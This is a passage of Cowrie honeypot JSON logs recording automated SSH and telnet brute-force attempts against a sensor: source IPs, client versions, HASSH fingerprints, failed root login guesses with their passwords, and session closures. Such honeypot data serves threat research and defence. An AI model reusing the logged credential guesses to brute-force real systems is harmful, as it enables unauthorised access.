f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:18.770223Z","src_ip":"197.248.104.31","session":"8e3a87c54bb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"advocate","message":"login attempt [root/advocate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:19.637466Z","src_ip":"197.248.104.31","session":"8e3a87c54bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:20.851883Z","src_ip":"197.248.104.31","session":"8e3a87c54bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":58592,"dst_ip":"159.203.135.109","dst_port":22,"session":"eea2379eeecf","protocol":"ssh","message":"New connection: 43.128.111.187:58592 (159.203.135.109:22) [session: eea2379eeecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:23.368679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:23.373680Z","src_ip":"43.128.111.187","session":"eea2379eeecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:23.618873Z","src_ip":"43.128.111.187","session":"eea2379eeecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yb123456","message":"login attempt [root/Yb123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:24.629032Z","src_ip":"43.128.111.187","session":"eea2379eeecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:25.877998Z","src_ip":"43.128.111.187","session":"eea2379eeecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":49614,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e25bb3b2ce8","protocol":"ssh","message":"New connection: 43.153.22.143:49614 (10.17.0.5:22) [session: 7e25bb3b2ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:29.892546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:29.897212Z","src_ip":"43.153.22.143","session":"7e25bb3b2ce8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:29.964709Z","src_ip":"43.153.22.143","session":"7e25bb3b2ce8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"antoine","message":"login attempt [root/antoine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:30.270367Z","src_ip":"43.153.22.143","session":"7e25bb3b2ce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:31.340984Z","src_ip":"43.153.22.143","session":"7e25bb3b2ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42096,"dst_ip":"10.17.0.5","dst_port":22,"session":"d69044097b1c","protocol":"ssh","message":"New connection: 193.32.162.145:42096 (10.17.0.5:22) [session: d69044097b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:38.673543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:38.679015Z","src_ip":"193.32.162.145","session":"d69044097b1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:38.810317Z","src_ip":"193.32.162.145","session":"d69044097b1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"shredstream","message":"login attempt [sol/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:39.132350Z","src_ip":"193.32.162.145","session":"d69044097b1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:40.243110Z","src_ip":"193.32.162.145","session":"d69044097b1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.37268137931824,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:43.713473Z","src_ip":"152.42.224.71","session":"81640d20abb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":46606,"dst_ip":"10.17.0.5","dst_port":22,"session":"a236fd785997","protocol":"ssh","message":"New connection: 58.186.20.143:46606 (10.17.0.5:22) [session: a236fd785997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:44.083849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:44.087966Z","src_ip":"58.186.20.143","session":"a236fd785997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:44.341491Z","src_ip":"58.186.20.143","session":"a236fd785997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luan123","message":"login attempt [root/luan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:45.369615Z","src_ip":"58.186.20.143","session":"a236fd785997","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39670,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1838882aded","protocol":"telnet","message":"New connection: 152.42.224.71:39670 (10.17.0.5:23) [session: b1838882aded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:45.634797Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:46.623025Z","src_ip":"58.186.20.143","session":"a236fd785997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.1531081199646,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:48.611943Z","src_ip":"152.42.224.71","session":"fa839e2c33e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":44004,"dst_ip":"159.203.135.109","dst_port":22,"session":"17f76316c758","protocol":"ssh","message":"New connection: 59.17.95.129:44004 (159.203.135.109:22) [session: 17f76316c758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:48.663188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:48.668175Z","src_ip":"59.17.95.129","session":"17f76316c758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:48.868641Z","src_ip":"59.17.95.129","session":"17f76316c758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":56838,"dst_ip":"10.17.0.5","dst_port":22,"session":"60bdba62eaa3","protocol":"ssh","message":"New connection: 43.153.124.153:56838 (10.17.0.5:22) [session: 60bdba62eaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:48.901906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:48.906590Z","src_ip":"43.153.124.153","session":"60bdba62eaa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:48.977196Z","src_ip":"43.153.124.153","session":"60bdba62eaa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.29711627960205,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:49.001726Z","src_ip":"152.42.224.71","session":"4463d8c866f6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"morita","message":"login attempt [root/morita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:49.283154Z","src_ip":"43.153.124.153","session":"60bdba62eaa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789AA","message":"login attempt [root/123456789AA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:49.697016Z","src_ip":"59.17.95.129","session":"17f76316c758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:50.354049Z","src_ip":"43.153.124.153","session":"60bdba62eaa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:50.899212Z","src_ip":"59.17.95.129","session":"17f76316c758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36010,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbb7519b0dac","protocol":"telnet","message":"New connection: 152.42.224.71:36010 (10.17.0.5:23) [session: dbb7519b0dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:52.829890Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":43528,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab09500aeca3","protocol":"ssh","message":"New connection: 79.132.141.112:43528 (10.17.0.5:22) [session: ab09500aeca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:55.383043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:55.387990Z","src_ip":"79.132.141.112","session":"ab09500aeca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:55.476242Z","src_ip":"79.132.141.112","session":"ab09500aeca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t","message":"login attempt [root/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:55.857484Z","src_ip":"79.132.141.112","session":"ab09500aeca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:05:56.949320Z","src_ip":"79.132.141.112","session":"ab09500aeca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":51764,"dst_ip":"10.17.0.5","dst_port":22,"session":"23004f254d51","protocol":"ssh","message":"New connection: 193.37.70.224:51764 (10.17.0.5:22) [session: 23004f254d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:00.274129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:00.279703Z","src_ip":"193.37.70.224","session":"23004f254d51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:06:00.548496Z","src_ip":"193.37.70.224","session":"23004f254d51","protocol":"ssh"}
